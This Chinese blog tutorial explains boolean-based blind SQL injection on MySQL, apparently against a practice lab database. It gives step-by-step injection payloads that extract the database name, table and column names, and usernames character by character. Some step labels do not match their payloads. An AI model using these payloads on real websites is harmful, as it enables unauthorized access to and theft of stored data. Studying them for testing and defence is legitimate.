首页 > 数据库 >SQL布尔盲注

SQL布尔盲注

时间:2024-02-01 09:01:17浏览次数:27  
标签:name -- SUBSTR SQL table schema 盲注 select 布尔

看不到回显时使用盲注

布尔盲注

  • 在进行SQL注入时,web页面仅返回True和False
  • 布尔盲注会根据web页面返回的True或者False信息,对数据库中的信息,对数据库中的信息进行猜解,并获取数据库中的相关信息

函数

  • substr()-->用来截取字符串某一列字段中的一部分,在各个数据库中的函数名称是不一样的使用方式:substr(arg1,int,int2),啊arg1是被选取的字符串,int1为截取开始的位置,int2为截取长度
  • length()-->获取数据库长度,使用方式:length(arg1),arg1代表字符串
  • ascii()-->将单一字符,转化为ascii码值。使用方式ascii(str),str代表字符
  • if()-->条件判断。使用方式:if(arg1,arg2,arg3),arg1代表判断的条件,arg2是条件为真返回的结果,arg3是条件为假返回的结果

求库的长度

1' and length(database())>8#

求库名

-- substr 返回子字符串
-- 8是当前数据库'security'的长度 ,从第8个开始,取1位,则是'r'
-- 如果pos为9 那么开始位置大于字符串长度,ascii函数处理后将变成false
-- and 后只要不为 0, 页面都会返回正常
1' AND (ASCII(SUBSTR(database(),2,1)) = 101)#

求当前数据库存在的表的数量

1' AND (select count(table_name) from information_schema.`TABLES` where table_schema = database()) = 4#

求当前数据库表的表名长度

1' AND (LENGTH(
(select table_name from information_schema.`TABLES` where table_schema = database() LIMIT 0,1)
)) = 6#

求表名

1' AND ASCII(SUBSTR(
(select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),
1,1)) = 101#

求表中列的数量

1' AND (select count(column_name) from information_schema.columns where table_name = "users") = 3#

求指定表中列的长度

1' AND ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),2,1))#

求指定表中的列名

1' AND ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),
1,1)) = 105#

求指定表中某字段的数量

1' AND (select count(username) from users) = 13#

求字段长度

1' AND ASCII(SUBSTR((select username from users  limit 0,1),4,1))#

求字段名

1' and ASCII(SUBSTR((select username from users  limit 0,1),1,1))  = 68#

标签:name,--,SUBSTR,SQL,table,schema,盲注,select,布尔
From: https://www.cnblogs.com/p1ggy/p/18000486

相关文章

  • 基于QScintilla项目实现SQL编辑器
    1、下载QScintilla:https://www.riverbankcomputing.com/static/Downloads/QScintilla/2.14.1/QScintilla_src-2.14.1.zip2、解压缩,目录结构如下:QScintilla_src-2.14.1-src组件源代码-qsci组件头文件-scintilla内置的各种语言的词法扫描源代码-example范例(......
  • MySQL 期末总结
    MYSQL一、对表结构进行操作1.主键1)添加主键--1.主键/* 方式一:创建表的时候在字段后面+primarykey 方式二:写完字段之后在指定主键,创建标的字段下面 [constraint<约束名>]primarykey*/usemydb1;createtableemp1( eidint, enamevarchar(20), d......
  • seatunnel-2.3.3测试excel入库mysql
    1.背景客户需要excel导入功能,同时支持导入多种数据源,尝试用seatunnel数据集成工具来实现。2.步骤2.1配置文件./config/v2.excel2mysql.configenv{#YoucansetSeaTunnelenvironmentconfigurationhereexecution.parallelism=1job.mode="BATCH"}source......
  • 数据库MySQL8.0.29安装与备份||了解和掌握MySQL的安装和简单使用和备份数据
    内容:了解和掌握MySQL的安装和简单使用:(1) 了解安装MySQL的软硬件环境和安装方法;(2) 熟悉MySQL的相关基本使用;(3) 熟悉MySQL的构成和相关工具;(4) 通过MySQL的使用来理解数据库系统的基本概念。要求:1. 在微机上安装MySQL数据库系统,为后续实验搭建实验环境,提供前期准备;2. 完成实......
  • Mysql中索引的描述设计
    Mysql中索引的描述设计1,索引是占用存储空间的2,my_myisam.myi和account.ibd存放索引3,查询效率提高,增删改效率降低;索引表以查询为主索引结构 二叉树结构一个根节点下只能有两个节点,当子节点比根节点小在左侧,当比根节点大在二叉树右侧缺点:大数据量时,检索慢,如果都比根节点小会......
  • SQL Server MERGE(合并)语句
    来源 https://www.cnblogs.com/yigegaozhongsheng/p/11941734.html如何使用SQLServerMERGE语句基于与另一个表匹配的值来更新表中的数据。  SQLServer MERGE语句 假设有两个表,分别称为源表和目标表,并且需要根据与源表匹配的值来更新目标表。有以下三种情况: 源表......
  • 使用 PyQt5(PySide2)+SQLAlchemy 做一个登录注册页(一)
    使用PyQt5(PySide2)+SQLAlchemy做一个登录注册页(一)本文将介绍自己用PyQt5+SQLAlchemy做的一个登录注册页,使用邮箱接收验证码,本文介绍是前后端未分离的实现方式,后续将出一个前后端分离的,你可以将PyQt5改为PySide2以获得更宽松的开源协议本文由于涉及到的代码较多,将会是......
  • golang 正则过滤sql注入的方法
    该方法返回的是一个bool值packagemainimport"regexp"import"fmt"//正则过滤sql注入的方法//参数:要匹配的语句funcFilteredSQLInject(to_match_strstring)bool{//过滤‘//ORACLE注解--/**///关键字过滤update,delete//正则的字符......
  • MySQL介绍
    数据库的由来和基本概念什么是数据库?|Oracle中国【一】数据的发展史早期未出现互联网前,每个人都只可以在本地存储,且存储的数据格式都是根据每个人的需要自由定义的出现网络后,可以在局域网内进行多台计算机的数据共享,而这时,数据的格式只能由人为约束,约定俗成好一套数据存......
  • Mysql中存储引擎InnoDB,MyISAM,MEMORY比较
    Mysql中存储引擎InnoDB,MyISAM,MEMORY比较showENGINES--查看数据库支持的搜索引擎ENGINE=InnoDB--使用的InnoDB引擎CREATETABLE`user1`(`id`bigint(20)NOTNULLDEFAULT'0',`name`varchar(255)DEFAULTNULL,`age`int(11)DEFAULTNULL,`sex`varchar(255)......